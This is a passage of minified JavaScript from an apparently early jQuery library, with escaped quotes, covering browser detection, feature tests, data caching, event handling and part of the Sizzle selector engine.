b===\"string\"){d=a;a=d[b];b=w}else if(b&&!c.isFunction(b)){d=b;b=w}if(!b&&a)b=function(){return a.apply(d||this,arguments)};if(a)b.guid=a.guid=a.guid||b.guid||c.guid++;return b},uaMatch:function(a){a=a.toLowerCase();a=/(webkit)[ \\/]([\\w.]+)/.exec(a)||/(opera)(?:.*version)?[ \\/]([\\w.]+)/.exec(a)||/(msie) ([\\w.]+)/.exec(a)||!/compatible/.test(a)&&/(mozilla)(?:.*? rv:([\\w.]+))?/.exec(a)||[];return{browser:a[1]||\"\",version:a[2]||\"0\"}},browser:{}});P=c.uaMatch(P);if(P.browser){c.browser[P.browser]=true;c.browser.version=P.version}if(c.browser.webkit)c.browser.safari=true;if(ya)c.inArray=function(a,b){return ya.call(b,a)};T=c(s);if(s.addEventListener)L=function(){s.removeEventListener(\"DOMContentLoaded\",L,false);c.ready()};else if(s.attachEvent)L=function(){if(s.readyState===\"complete\"){s.detachEvent(\"onreadystatechange\",L);c.ready()}};(function(){c.support={};var a=s.documentElement,b=s.createElement(\"script\"),d=s.createElement(\"div\"),f=\"script\"+J();d.style.display=\"none\";d.innerHTML=\"   <link/><table></table><a href='/a' style='color:red;float:left;opacity:.55;'>a</a><input type='checkbox'/>\";var e=d.getElementsByTagName(\"*\"),j=d.getElementsByTagName(\"a\")[0];if(!(!e||!e.length||!j)){c.support={leadingWhitespace:d.firstChild.nodeType===3,tbody:!d.getElementsByTagName(\"tbody\").length,htmlSerialize:!!d.getElementsByTagName(\"link\").length,style:/red/.test(j.getAttribute(\"style\")),hrefNormalized:j.getAttribute(\"href\")===\"/a\",opacity:/^0.55$/.test(j.style.opacity),cssFloat:!!j.style.cssFloat,checkOn:d.getElementsByTagName(\"input\")[0].value===\"on\",optSelected:s.createElement(\"select\").appendChild(s.createElement(\"option\")).selected,parentNode:d.removeChild(d.appendChild(s.createElement(\"div\"))).parentNode===null,deleteExpando:true,checkClone:false,scriptEval:false,noCloneEvent:true,boxModel:null};b.type=\"text/javascript\";try{b.appendChild(s.createTextNode(\"window.\"+f+\"=1;\"))}catch(i){}a.insertBefore(b,a.firstChild);if(A[f]){c.support.scriptEval=true;delete A[f]}try{delete b.test}catch(o){c.support.deleteExpando=false}a.removeChild(b);if(d.attachEvent&&d.fireEvent){d.attachEvent(\"onclick\",function k(){c.support.noCloneEvent=false;d.detachEvent(\"onclick\",k)});d.cloneNode(true).fireEvent(\"onclick\")}d=s.createElement(\"div\");d.innerHTML=\"<input type='radio' name='radiotest' checked='checked'/>\";a=s.createDocumentFragment();a.appendChild(d.firstChild);c.support.checkClone=a.cloneNode(true).cloneNode(true).lastChild.checked;c(function(){var k=s.createElement(\"div\");k.style.width=k.style.paddingLeft=\"1px\";s.body.appendChild(k);c.boxModel=c.support.boxModel=k.offsetWidth===2;s.body.removeChild(k).style.display=\"none\"});a=function(k){var n=s.createElement(\"div\");k=\"on\"+k;var r=k in n;if(!r){n.setAttribute(k,\"return;\");r=typeof n[k]===\"function\"}return r};c.support.submitBubbles=a(\"submit\");c.support.changeBubbles=a(\"change\");a=b=d=e=j=null}})();c.props={\"for\":\"htmlFor\",\"class\":\"className\",readonly:\"readOnly\",maxlength:\"maxLength\",cellspacing:\"cellSpacing\",rowspan:\"rowSpan\",colspan:\"colSpan\",tabindex:\"tabIndex\",usemap:\"useMap\",frameborder:\"frameBorder\"};var G=\"jQuery\"+J(),Ya=0,za={};c.extend({cache:{},expando:G,noData:{embed:true,object:true,applet:true},data:function(a,b,d){if(!(a.nodeName&&c.noData[a.nodeName.toLowerCase()])){a=a==A?za:a;var f=a[G],e=c.cache;if(!f&&typeof b===\"string\"&&d===w)return null;f||(f=++Ya);if(typeof b===\"object\"){a[G]=f;e[f]=c.extend(true,{},b)}else if(!e[f]){a[G]=f;e[f]={}}a=e[f];if(d!==w)a[b]=d;return typeof b===\"string\"?a[b]:a}},removeData:function(a,b){if(!(a.nodeName&&c.noData[a.nodeName.toLowerCase()])){a=a==A?za:a;var d=a[G],f=c.cache,e=f[d];if(b){if(e){delete e[b];c.isEmptyObject(e)&&c.removeData(a)}}else{if(c.support.deleteExpando)delete a[c.expando];else a.removeAttribute&&a.removeAttribute(c.expando);delete f[d]}}}});c.fn.extend({data:function(a,b){if(typeof a===\"undefined\"&&this.length)return c.data(this[0]);else if(typeof a===\"object\")return this.each(function(){c.data(this,a)});var d=a.split(\".\");d[1]=d[1]?\".\"+d[1]:\"\";if(b===w){var f=this.triggerHandler(\"getData\"+d[1]+\"!\",[d[0]]);if(f===w&&this.length)f=c.data(this[0],a);return f===w&&d[1]?this.data(d[0]):f}else return this.trigger(\"setData\"+d[1]+\"!\",[d[0],b]).each(function(){c.data(this,a,b)})},removeData:function(a){return this.each(function(){c.removeData(this,a)})}});c.extend({queue:function(a,b,d){if(a){b=(b||\"fx\")+\"queue\";var f=c.data(a,b);if(!d)return f||[];if(!f||c.isArray(d))f=c.data(a,b,c.makeArray(d));else f.push(d);return f}},dequeue:function(a,b){b=b||\"fx\";var d=c.queue(a,b),f=d.shift();if(f===\"inprogress\")f=d.shift();if(f){b===\"fx\"&&d.unshift(\"inprogress\");f.call(a,function(){c.dequeue(a,b)})}}});c.fn.extend({queue:function(a,b){if(typeof a!==\"string\"){b=a;a=\"fx\"}if(b===w)return c.queue(this[0],a);return this.each(function(){var d=c.queue(this,a,b);a===\"fx\"&&d[0]!==\"inprogress\"&&c.dequeue(this,a)})},dequeue:function(a){return this.each(function(){c.dequeue(this,a)})},delay:function(a,b){a=c.fx?c.fx.speeds[a]||a:a;b=b||\"fx\";return this.queue(b,function(){var d=this;setTimeout(function(){c.dequeue(d,b)},a)})},clearQueue:function(a){return this.queue(a||\"fx\",[])}});var Aa=/[\\n\\t]/g,ca=/\\s+/,Za=/\\r/g,$a=/href|src|style/,ab=/(button|input)/i,bb=/(button|input|object|select|textarea)/i,cb=/^(a|area)$/i,Ba=/radio|checkbox/;c.fn.extend({attr:function(a,b){return X(this,a,b,true,c.attr)},removeAttr:function(a){return this.each(function(){c.attr(this,a,\"\");this.nodeType===1&&this.removeAttribute(a)})},addClass:function(a){if(c.isFunction(a))return this.each(function(n){var r=c(this);r.addClass(a.call(this,n,r.attr(\"class\")))});if(a&&typeof a===\"string\")for(var b=(a||\"\").split(ca),d=0,f=this.length;d<f;d++){var e=this[d];if(e.nodeType===1)if(e.className){for(var j=\" \"+e.className+\" \",i=e.className,o=0,k=b.length;o<k;o++)if(j.indexOf(\" \"+b[o]+\" \")<0)i+=\" \"+b[o];e.className=c.trim(i)}else e.className=a}return this},removeClass:function(a){if(c.isFunction(a))return this.each(function(k){var n=c(this);n.removeClass(a.call(this,k,n.attr(\"class\")))});if(a&&typeof a===\"string\"||a===w)for(var b=(a||\"\").split(ca),d=0,f=this.length;d<f;d++){var e=this[d];if(e.nodeType===1&&e.className)if(a){for(var j=(\" \"+e.className+\" \").replace(Aa,\" \"),i=0,o=b.length;i<o;i++)j=j.replace(\" \"+b[i]+\" \",\" \");e.className=c.trim(j)}else e.className=\"\"}return this},toggleClass:function(a,b){var d=typeof a,f=typeof b===\"boolean\";if(c.isFunction(a))return this.each(function(e){var j=c(this);j.toggleClass(a.call(this,e,j.attr(\"class\"),b),b)});return this.each(function(){if(d===\"string\")for(var e,j=0,i=c(this),o=b,k=a.split(ca);e=k[j++];){o=f?o:!i.hasClass(e);i[o?\"addClass\":\"removeClass\"](e)}else if(d===\"undefined\"||d===\"boolean\"){this.className&&c.data(this,\"__className__\",this.className);this.className=this.className||a===false?\"\":c.data(this,\"__className__\")||\"\"}})},hasClass:function(a){a=\" \"+a+\" \";for(var b=0,d=this.length;b<d;b++)if((\" \"+this[b].className+\" \").replace(Aa,\" \").indexOf(a)>-1)return true;return false},val:function(a){if(a===w){var b=this[0];if(b){if(c.nodeName(b,\"option\"))return(b.attributes.value||{}).specified?b.value:b.text;if(c.nodeName(b,\"select\")){var d=b.selectedIndex,f=[],e=b.options;b=b.type===\"select-one\";if(d<0)return null;var j=b?d:0;for(d=b?d+1:e.length;j<d;j++){var i=e[j];if(i.selected){a=c(i).val();if(b)return a;f.push(a)}}return f}if(Ba.test(b.type)&&!c.support.checkOn)return b.getAttribute(\"value\")===null?\"on\":b.value;return(b.value||\"\").replace(Za,\"\")}return w}var o=c.isFunction(a);return this.each(function(k){var n=c(this),r=a;if(this.nodeType===1){if(o)r=a.call(this,k,n.val());if(typeof r===\"number\")r+=\"\";if(c.isArray(r)&&Ba.test(this.type))this.checked=c.inArray(n.val(),r)>=0;else if(c.nodeName(this,\"select\")){var u=c.makeArray(r);c(\"option\",this).each(function(){this.selected=c.inArray(c(this).val(),u)>=0});if(!u.length)this.selectedIndex=-1}else this.value=r}})}});c.extend({attrFn:{val:true,css:true,html:true,text:true,data:true,width:true,height:true,offset:true},attr:function(a,b,d,f){if(!a||a.nodeType===3||a.nodeType===8)return w;if(f&&b in c.attrFn)return c(a)[b](d);f=a.nodeType!==1||!c.isXMLDoc(a);var e=d!==w;b=f&&c.props[b]||b;if(a.nodeType===1){var j=$a.test(b);if(b in a&&f&&!j){if(e){b===\"type\"&&ab.test(a.nodeName)&&a.parentNode&&c.error(\"type property can't be changed\");a[b]=d}if(c.nodeName(a,\"form\")&&a.getAttributeNode(b))return a.getAttributeNode(b).nodeValue;if(b===\"tabIndex\")return(b=a.getAttributeNode(\"tabIndex\"))&&b.specified?b.value:bb.test(a.nodeName)||cb.test(a.nodeName)&&a.href?0:w;return a[b]}if(!c.support.style&&f&&b===\"style\"){if(e)a.style.cssText=\"\"+d;return a.style.cssText}e&&a.setAttribute(b,\"\"+d);a=!c.support.hrefNormalized&&f&&j?a.getAttribute(b,2):a.getAttribute(b);return a===null?w:a}return c.style(a,b,d)}});var O=/\\.(.*)$/,db=function(a){return a.replace(/[^\\w\\s\\.\\|`]/g,function(b){return\"\\\\\"+b})};c.event={add:function(a,b,d,f){if(!(a.nodeType===3||a.nodeType===8)){if(a.setInterval&&a!==A&&!a.frameElement)a=A;var e,j;if(d.handler){e=d;d=e.handler}if(!d.guid)d.guid=c.guid++;if(j=c.data(a)){var i=j.events=j.events||{},o=j.handle;if(!o)j.handle=o=function(){return typeof c!==\"undefined\"&&!c.event.triggered?c.event.handle.apply(o.elem,arguments):w};o.elem=a;b=b.split(\" \");for(var k,n=0,r;k=b[n++];){j=e?c.extend({},e):{handler:d,data:f};if(k.indexOf(\".\")>-1){r=k.split(\".\");k=r.shift();j.namespace=r.slice(0).sort().join(\".\")}else{r=[];j.namespace=\"\"}j.type=k;j.guid=d.guid;var u=i[k],z=c.event.special[k]||{};if(!u){u=i[k]=[];if(!z.setup||z.setup.call(a,f,r,o)===false)if(a.addEventListener)a.addEventListener(k,o,false);else a.attachEvent&&a.attachEvent(\"on\"+k,o)}if(z.add){z.add.call(a,j);if(!j.handler.guid)j.handler.guid=d.guid}u.push(j);c.event.global[k]=true}a=null}}},global:{},remove:function(a,b,d,f){if(!(a.nodeType===3||a.nodeType===8)){var e,j=0,i,o,k,n,r,u,z=c.data(a),C=z&&z.events;if(z&&C){if(b&&b.type){d=b.handler;b=b.type}if(!b||typeof b===\"string\"&&b.charAt(0)===\".\"){b=b||\"\";for(e in C)c.event.remove(a,e+b)}else{for(b=b.split(\" \");e=b[j++];){n=e;i=e.indexOf(\".\")<0;o=[];if(!i){o=e.split(\".\");e=o.shift();k=new RegExp(\"(^|\\\\.)\"+c.map(o.slice(0).sort(),db).join(\"\\\\.(?:.*\\\\.)?\")+\"(\\\\.|$)\")}if(r=C[e])if(d){n=c.event.special[e]||{};for(B=f||0;B<r.length;B++){u=r[B];if(d.guid===u.guid){if(i||k.test(u.namespace)){f==null&&r.splice(B--,1);n.remove&&n.remove.call(a,u)}if(f!=null)break}}if(r.length===0||f!=null&&r.length===1){if(!n.teardown||n.teardown.call(a,o)===false)Ca(a,e,z.handle);delete C[e]}}else for(var B=0;B<r.length;B++){u=r[B];if(i||k.test(u.namespace)){c.event.remove(a,n,u.handler,B);r.splice(B--,1)}}}if(c.isEmptyObject(C)){if(b=z.handle)b.elem=null;delete z.events;delete z.handle;c.isEmptyObject(z)&&c.removeData(a)}}}}},trigger:function(a,b,d,f){var e=a.type||a;if(!f){a=typeof a===\"object\"?a[G]?a:c.extend(c.Event(e),a):c.Event(e);if(e.indexOf(\"!\")>=0){a.type=e=e.slice(0,-1);a.exclusive=true}if(!d){a.stopPropagation();c.event.global[e]&&c.each(c.cache,function(){this.events&&this.events[e]&&c.event.trigger(a,b,this.handle.elem)})}if(!d||d.nodeType===3||d.nodeType===8)return w;a.result=w;a.target=d;b=c.makeArray(b);b.unshift(a)}a.currentTarget=d;(f=c.data(d,\"handle\"))&&f.apply(d,b);f=d.parentNode||d.ownerDocument;try{if(!(d&&d.nodeName&&c.noData[d.nodeName.toLowerCase()]))if(d[\"on\"+e]&&d[\"on\"+e].apply(d,b)===false)a.result=false}catch(j){}if(!a.isPropagationStopped()&&f)c.event.trigger(a,b,f,true);else if(!a.isDefaultPrevented()){f=a.target;var i,o=c.nodeName(f,\"a\")&&e===\"click\",k=c.event.special[e]||{};if((!k._default||k._default.call(d,a)===false)&&!o&&!(f&&f.nodeName&&c.noData[f.nodeName.toLowerCase()])){try{if(f[e]){if(i=f[\"on\"+e])f[\"on\"+e]=null;c.event.triggered=true;f[e]()}}catch(n){}if(i)f[\"on\"+e]=i;c.event.triggered=false}}},handle:function(a){var b,d,f,e;a=arguments[0]=c.event.fix(a||A.event);a.currentTarget=this;b=a.type.indexOf(\".\")<0&&!a.exclusive;if(!b){d=a.type.split(\".\");a.type=d.shift();f=new RegExp(\"(^|\\\\.)\"+d.slice(0).sort().join(\"\\\\.(?:.*\\\\.)?\")+\"(\\\\.|$)\")}e=c.data(this,\"events\");d=e[a.type];if(e&&d){d=d.slice(0);e=0;for(var j=d.length;e<j;e++){var i=d[e];if(b||f.test(i.namespace)){a.handler=i.handler;a.data=i.data;a.handleObj=i;i=i.handler.apply(this,arguments);if(i!==w){a.result=i;if(i===false){a.preventDefault();a.stopPropagation()}}if(a.isImmediatePropagationStopped())break}}}return a.result},props:\"altKey attrChange attrName bubbles button cancelable charCode clientX clientY ctrlKey currentTarget data detail eventPhase fromElement handler keyCode layerX layerY metaKey newValue offsetX offsetY originalTarget pageX pageY prevValue relatedNode relatedTarget screenX screenY shiftKey srcElement target toElement view wheelDelta which\".split(\" \"),fix:function(a){if(a[G])return a;var b=a;a=c.Event(b);for(var d=this.props.length,f;d;){f=this.props[--d];a[f]=b[f]}if(!a.target)a.target=a.srcElement||s;if(a.target.nodeType===3)a.target=a.target.parentNode;if(!a.relatedTarget&&a.fromElement)a.relatedTarget=a.fromElement===a.target?a.toElement:a.fromElement;if(a.pageX==null&&a.clientX!=null){b=s.documentElement;d=s.body;a.pageX=a.clientX+(b&&b.scrollLeft||d&&d.scrollLeft||0)-(b&&b.clientLeft||d&&d.clientLeft||0);a.pageY=a.clientY+(b&&b.scrollTop||d&&d.scrollTop||0)-(b&&b.clientTop||d&&d.clientTop||0)}if(!a.which&&(a.charCode||a.charCode===0?a.charCode:a.keyCode))a.which=a.charCode||a.keyCode;if(!a.metaKey&&a.ctrlKey)a.metaKey=a.ctrlKey;if(!a.which&&a.button!==w)a.which=a.button&1?1:a.button&2?3:a.button&4?2:0;return a},guid:1E8,proxy:c.proxy,special:{ready:{setup:c.bindReady,teardown:c.noop},live:{add:function(a){c.event.add(this,a.origType,c.extend({},a,{handler:oa}))},remove:function(a){var b=true,d=a.origType.replace(O,\"\");c.each(c.data(this,\"events\").live||[],function(){if(d===this.origType.replace(O,\"\"))return b=false});b&&c.event.remove(this,a.origType,oa)}},beforeunload:{setup:function(a,b,d){if(this.setInterval)this.onbeforeunload=d;return false},teardown:function(a,b){if(this.onbeforeunload===b)this.onbeforeunload=null}}}};var Ca=s.removeEventListener?function(a,b,d){a.removeEventListener(b,d,false)}:function(a,b,d){a.detachEvent(\"on\"+b,d)};c.Event=function(a){if(!this.preventDefault)return new c.Event(a);if(a&&a.type){this.originalEvent=a;this.type=a.type}else this.type=a;this.timeStamp=J();this[G]=true};c.Event.prototype={preventDefault:function(){this.isDefaultPrevented=Z;var a=this.originalEvent;if(a){a.preventDefault&&a.preventDefault();a.returnValue=false}},stopPropagation:function(){this.isPropagationStopped=Z;var a=this.originalEvent;if(a){a.stopPropagation&&a.stopPropagation();a.cancelBubble=true}},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=Z;this.stopPropagation()},isDefaultPrevented:Y,isPropagationStopped:Y,isImmediatePropagationStopped:Y};var Da=function(a){var b=a.relatedTarget;try{for(;b&&b!==this;)b=b.parentNode;if(b!==this){a.type=a.data;c.event.handle.apply(this,arguments)}}catch(d){}},Ea=function(a){a.type=a.data;c.event.handle.apply(this,arguments)};c.each({mouseenter:\"mouseover\",mouseleave:\"mouseout\"},function(a,b){c.event.special[a]={setup:function(d){c.event.add(this,b,d&&d.selector?Ea:Da,a)},teardown:function(d){c.event.remove(this,b,d&&d.selector?Ea:Da)}}});if(!c.support.submitBubbles)c.event.special.submit={setup:function(){if(this.nodeName.toLowerCase()!==\"form\"){c.event.add(this,\"click.specialSubmit\",function(a){var b=a.target,d=b.type;if((d===\"submit\"||d===\"image\")&&c(b).closest(\"form\").length)return na(\"submit\",this,arguments)});c.event.add(this,\"keypress.specialSubmit\",function(a){var b=a.target,d=b.type;if((d===\"text\"||d===\"password\")&&c(b).closest(\"form\").length&&a.keyCode===13)return na(\"submit\",this,arguments)})}else return false},teardown:function(){c.event.remove(this,\".specialSubmit\")}};if(!c.support.changeBubbles){var da=/textarea|input|select/i,ea,Fa=function(a){var b=a.type,d=a.value;if(b===\"radio\"||b===\"checkbox\")d=a.checked;else if(b===\"select-multiple\")d=a.selectedIndex>-1?c.map(a.options,function(f){return f.selected}).join(\"-\"):\"\";else if(a.nodeName.toLowerCase()===\"select\")d=a.selectedIndex;return d},fa=function(a,b){var d=a.target,f,e;if(!(!da.test(d.nodeName)||d.readOnly)){f=c.data(d,\"_change_data\");e=Fa(d);if(a.type!==\"focusout\"||d.type!==\"radio\")c.data(d,\"_change_data\",e);if(!(f===w||e===f))if(f!=null||e){a.type=\"change\";return c.event.trigger(a,b,d)}}};c.event.special.change={filters:{focusout:fa,click:function(a){var b=a.target,d=b.type;if(d===\"radio\"||d===\"checkbox\"||b.nodeName.toLowerCase()===\"select\")return fa.call(this,a)},keydown:function(a){var b=a.target,d=b.type;if(a.keyCode===13&&b.nodeName.toLowerCase()!==\"textarea\"||a.keyCode===32&&(d===\"checkbox\"||d===\"radio\")||d===\"select-multiple\")return fa.call(this,a)},beforeactivate:function(a){a=a.target;c.data(a,\"_change_data\",Fa(a))}},setup:function(){if(this.type===\"file\")return false;for(var a in ea)c.event.add(this,a+\".specialChange\",ea[a]);return da.test(this.nodeName)},teardown:function(){c.event.remove(this,\".specialChange\");return da.test(this.nodeName)}};ea=c.event.special.change.filters}s.addEventListener&&c.each({focus:\"focusin\",blur:\"focusout\"},function(a,b){function d(f){f=c.event.fix(f);f.type=b;return c.event.handle.call(this,f)}c.event.special[b]={setup:function(){this.addEventListener(a,d,true)},teardown:function(){this.removeEventListener(a,d,true)}}});c.each([\"bind\",\"one\"],function(a,b){c.fn[b]=function(d,f,e){if(typeof d===\"object\"){for(var j in d)this[b](j,f,d[j],e);return this}if(c.isFunction(f)){e=f;f=w}var i=b===\"one\"?c.proxy(e,function(k){c(this).unbind(k,i);return e.apply(this,arguments)}):e;if(d===\"unload\"&&b!==\"one\")this.one(d,f,e);else{j=0;for(var o=this.length;j<o;j++)c.event.add(this[j],d,i,f)}return this}});c.fn.extend({unbind:function(a,b){if(typeof a===\"object\"&&!a.preventDefault)for(var d in a)this.unbind(d,a[d]);else{d=0;for(var f=this.length;d<f;d++)c.event.remove(this[d],a,b)}return this},delegate:function(a,b,d,f){return this.live(b,d,f,a)},undelegate:function(a,b,d){return arguments.length===0?this.unbind(\"live\"):this.die(b,null,d,a)},trigger:function(a,b){return this.each(function(){c.event.trigger(a,b,this)})},triggerHandler:function(a,b){if(this[0]){a=c.Event(a);a.preventDefault();a.stopPropagation();c.event.trigger(a,b,this[0]);return a.result}},toggle:function(a){for(var b=arguments,d=1;d<b.length;)c.proxy(a,b[d++]);return this.click(c.proxy(a,function(f){var e=(c.data(this,\"lastToggle\"+a.guid)||0)%d;c.data(this,\"lastToggle\"+a.guid,e+1);f.preventDefault();return b[e].apply(this,arguments)||false}))},hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}});var Ga={focus:\"focusin\",blur:\"focusout\",mouseenter:\"mouseover\",mouseleave:\"mouseout\"};c.each([\"live\",\"die\"],function(a,b){c.fn[b]=function(d,f,e,j){var i,o=0,k,n,r=j||this.selector,u=j?this:c(this.context);if(c.isFunction(f)){e=f;f=w}for(d=(d||\"\").split(\" \");(i=d[o++])!=null;){j=O.exec(i);k=\"\";if(j){k=j[0];i=i.replace(O,\"\")}if(i===\"hover\")d.push(\"mouseenter\"+k,\"mouseleave\"+k);else{n=i;if(i===\"focus\"||i===\"blur\"){d.push(Ga[i]+k);i+=k}else i=(Ga[i]||i)+k;b===\"live\"?u.each(function(){c.event.add(this,pa(i,r),{data:f,selector:r,handler:e,origType:i,origHandler:e,preType:n})}):u.unbind(pa(i,r),e)}}return this}});c.each(\"blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error\".split(\" \"),function(a,b){c.fn[b]=function(d){return d?this.bind(b,d):this.trigger(b)};if(c.attrFn)c.attrFn[b]=true});A.attachEvent&&!A.addEventListener&&A.attachEvent(\"onunload\",function(){for(var a in c.cache)if(c.cache[a].handle)try{c.event.remove(c.cache[a].handle.elem)}catch(b){}});(function(){function a(g){for(var h=\"\",l,m=0;g[m];m++){l=g[m];if(l.nodeType===3||l.nodeType===4)h+=l.nodeValue;else if(l.nodeType!==8)h+=a(l.childNodes)}return h}function b(g,h,l,m,q,p){q=0;for(var v=m.length;q<v;q++){var t=m[q];if(t){t=t[g];for(var y=false;t;){if(t.sizcache===l){y=m[t.sizset];break}if(t.nodeType===1&&!p){t.sizcache=l;t.sizset=q}if(t.nodeName.toLowerCase()===h){y=t;break}t=t[g]}m[q]=y}}}function d(g,h,l,m,q,p){q=0;for(var v=m.length;q<v;q++){var t=m[q];if(t){t=t[g];for(var y=false;t;){if(t.sizcache===l){y=m[t.sizset];break}if(t.nodeType===1){if(!p){t.sizcache=l;t.sizset=q}if(typeof h!==\"string\"){if(t===h){y=true;break}}else if(k.filter(h,[t]).length>0){y=t;break}}t=t[g]}m[q]=y}}}var f=/((?:\\((?:\\([^()]+\\)|[^()]+)+\\)|\\[(?:\\[[^[\\]]*\\]|['\"][^'\"]*['\"]|[^[\\]'\"]+)+\\]|\\\\.|[^ >+~,(\\[\\\\]+)+|[>+~])(\\s*,\\s*)?((?:.|\\r|\\n)*)/g,e=0,j=Object.prototype.toString,i=false,o=true;[0,0].sort(function(){o=false;return 0});var k=function(g,h,l,m){l=l||[];var q=h=h||s;if(h.nodeType!==1&&h.nodeType!==9)return[];if(!g||typeof g!==\"string\")return l;for(var p=[],v,t,y,S,H=true,M=x(h),I=g;(f.exec(\"\"),v=f.exec(I))!==null;){I=v[3];p.push(v[1]);if(v[2]){S=v[3];break}}if(p.length>1&&r.exec(g))if(p.length===2&&n.relative[p[0]])t=ga(p[0]+p[1],h);else for(t=n.relative[p[0]]?[h]:k(p.shift(),h);p.length;){g=p.shift();if(n.relative[g])g+=p.shift();t=ga(g,t)}else{if(!m&&p.length>1&&h.nodeType===9&&!M&&n.match.ID.test(p[0])&&!n.match.ID.test(p[p.length-1])){v=k.find(p.shift(),h,M);h=v.expr?k.filter(v.expr,v.set)[0]:v.set[0]}if(h){v=m?{expr:p.pop(),set:z(m)}:k.find(p.pop(),p.length===1&&(p[0]===\"~\"||p[0]===\"+\")&&h.parentNode?h.parentNode:h,M);t=v.expr?k.filter(v.expr,v.set):v.set;if(p.length>0)y=z(t);else H=false;for(;p.length;){var D=p.pop();v=D;if(n.relative[D])v=p.pop();else D=\"\";if(v==null)v=h;n.relative[D](y,v,M)}}else y=[]}y||(y=t);y||k.error(D||g);if(j.call(y)===\"[object Array]\")if(H)if(h&&h.nodeType===1)for(g=0;y[g]!=null;g++){if(y[g]&&(y[g]===true||y[g].nodeType===1&&E(h,y[g])))l.push(t[g])}else for(g=0;y[g]!=null;g++)y[g]&&y[g].nodeType===1&&l.push(t[g]);else l.push.apply(l,y);else z(y,l);if(S){k(S,q,l,m);k.uniqueSort(l)}return l};k.uniqueSort=function(g){if(B){i=o;g.sort(B);if(i)for(var h=1;h<g.length;h++)g[h]===g[h-1]&&g.splice(h--,1)}return g};k.matches=function(g,h){return k(g,null,null,h)};k.find=function(g,h,l){var m,q;if(!g)return[];for(var p=0,v=n.order.length;p<v;p++){var t=n.order[p];if(q=n.leftMatch[t].exec(g)){var y=q[1];q.splice(1,1);if(y.substr(y.length-1)!==\"\\\\\"){q[1]=(q[1]||\"\").replace(/\\\\/g,\"\");m=n.find[t](q,h,l);if(m!=null){g=g.replace(n.match[t],\"\");break}}}}m||(m=h.getElementsByTagName(\"*\"));return{set:m,expr:g}};k.filter=function(g,h,l,m){for(var q=g,p=[],v=h,t,y,S=h&&h[0]&&x(h[0]);g&&h.length;){for(var H in n.filter)if((t=n.leftMatch[H].exec(g))!=null&&t[2]){var M=n.filter[H],I,D;D=t[1];y=false;t.splice(1,1);if(D.substr(D.length-1)!==\"\\\\\"){if(v===p)p=[];if(n.preFilter[H])if(t=n.preFilter[H](t,v,l,p,m,S)){if(t===true)continue}else y=I=true;if(t)for(var U=0;(D=v[U])!=null;U++)if(D){I=M(D,t,U,v);var Ha=m^!!I;if(l&&I!=null)if(Ha)y=true;else v[U]=false;else if(Ha){p.push(D);y=true}}if(I!==w){l||(v=p);g=g.replace(n.match[H],\"\");if(!y)return[];break}}}if(g===q)if(y==null)k.error(g);else break;q=g}return v};k.error=function(g){throw\"Syntax error, unrecognized expression: \"+g;};var n=k.selectors={order:[\"ID\",\"NAME\",\"TAG\"],match:{ID:/#((?:[\\w\\u00c0-\\uFFFF-]|\\\\.)+)/,CLASS:/\\.((?:[\\w\\u00c0-\\uFFFF-]|\\\\.)+)/,NAME:/\\[name=['\"]*((?:[\\w\\u00c0-\\uFFFF-]|\\\\.)+)['\"]*\\]/,ATTR:/\\[\\s*((?:[\\w\\u00c0-\\uFFFF-]|\\\\.)+)\\s*(?:(\\S?=)\\s*(['\"]*)(.*?)\\3|)\\s*\\]/,TAG:/^((?:[\\w\\u00c0-\\uFFFF\\*-]|\\\\.)+)/,CHILD:/:(only|nth|last|first)-child(?:\\((even|odd|[\\dn+-]*)\\))?/,POS:/:(nth|eq|gt|lt|first|last|even|odd)(?:\\((\\d*)\\))?(?=[^-]|$)/,PSEUDO:/:((?:[\\w\\u00c0-\\uFFFF-]|\\\\.)+)(?:\\((['\"]?)((?:\\([^\\)]+\\)|[^\\(\\)]*)+)\\2\\))?/},leftMatch:{},attrMap:{\"class\":\"className\",\"for\":\"htmlFor\"},attrHandle:{href:function(g){return g.getAttribute(\"href\")}},relative:{\"+\":function(g,h){var l=typeof h===\"string\",m=l&&!/\\W/.test(h);l=l&&!m;if(m)h=h.toLowerCase();m=0;for(var q=g.length,p;m<q;m++)if(p=g[m]){for(;(p=p.previousSibling)&&p.nodeType!==1;);g[m]=l||p&&p.nodeName.toLowerCase()===h?p||false:p===h}l&&k.filter(h,g,true)},\">\":function(g,h){var l=typeof h===\"string\";if(l&&!/\\W/.test(h)){h=h.toLowerCase();for(var m=0,q=g.length;m<q;m++){var p=g[m];if(p){l=p.parentNode;g[m]=l.nodeName.toLowerCase()===h?l:false}}}else{m=0;for(q=g.length;m<q;m++)if(p=g[m])g[m]=l?p.parentNode:p.parentNode===h;l&&k.filter(h,g,true)}},\"\":function(g,h,l){var m=e++,q=d;if(typeof h===\"string\"&&!/\\W/.test(h)){var p=h=h.toLowerCase();q=b}q(\"parentNode\",h,m,g,p,l)},\"~\":function(g,h,l){var m=e++,q=d;if(typeof h===\"string\"&&!/\\W/.test(h)){var p=h=h.toLowerCase();q=b}q(\"previousSibling\",h,m,g,p,l)}},find:{ID:function(g,h,l){if(typeof h.getElementById!==\"undefined\"&&!l)return(g=h.getElementById(g[1]))?[g]:[]},NAME:function(g,h){if(typeof h.getElementsByName!==\"undefined\"){var l=[];h=h.getElementsByName(g[1]);for(var m=0,q=h.length;m<q;m++)h[m].getAttribute(\"name\")===g[1]&&l.push(h[m]);return l.length===0?null:l}},TAG:function(g,h){return h.getElementsByTagName(g[1])}},preFilter:{CLASS:function(g,h,l,m,q,p){g=\" \"+g[1].replace(/\\\\/g,\"\")+\" \";if(p)return g;p=0;for(var v;(v=h[p])!=null;p++)if(v)if(q^(v.className&&(\" \"+v.className+\" \").replace(/[\\t\\n]/g,\" \").indexOf(g)>=0))l||m.push(v);else if(l)h[p]=false;return false},ID:function(g){return g[1].replace(/\\\\/g,\"\")},TAG:function(g){return g[1].toLowerCase()},CHILD:function(g){if(g[1]===\"nth\"){var h=/(-?)(\\d*)n((?:\\+|-)?\\d*)/.exec(g[2]===\"even\"&&\"2n\"||g[2]===\"odd\"&&\"2n+1\"||!/\\D/.test(g[2])&&\"0n+\"+g[2]||g[2]);g[2]=h[1]+(h[2]||1)-0;g[3]=h[3]-0}g[0]=e++;return g},ATTR:function(g,h,l,m,q,p){h=g[1].replace(/\\\\/g,\"\");if(!p&&n.attrMap[h])g[1]=n.attrMap[h];if(g[2]===\"~=\")g[4]=\" \"+g[4]+\" \";return 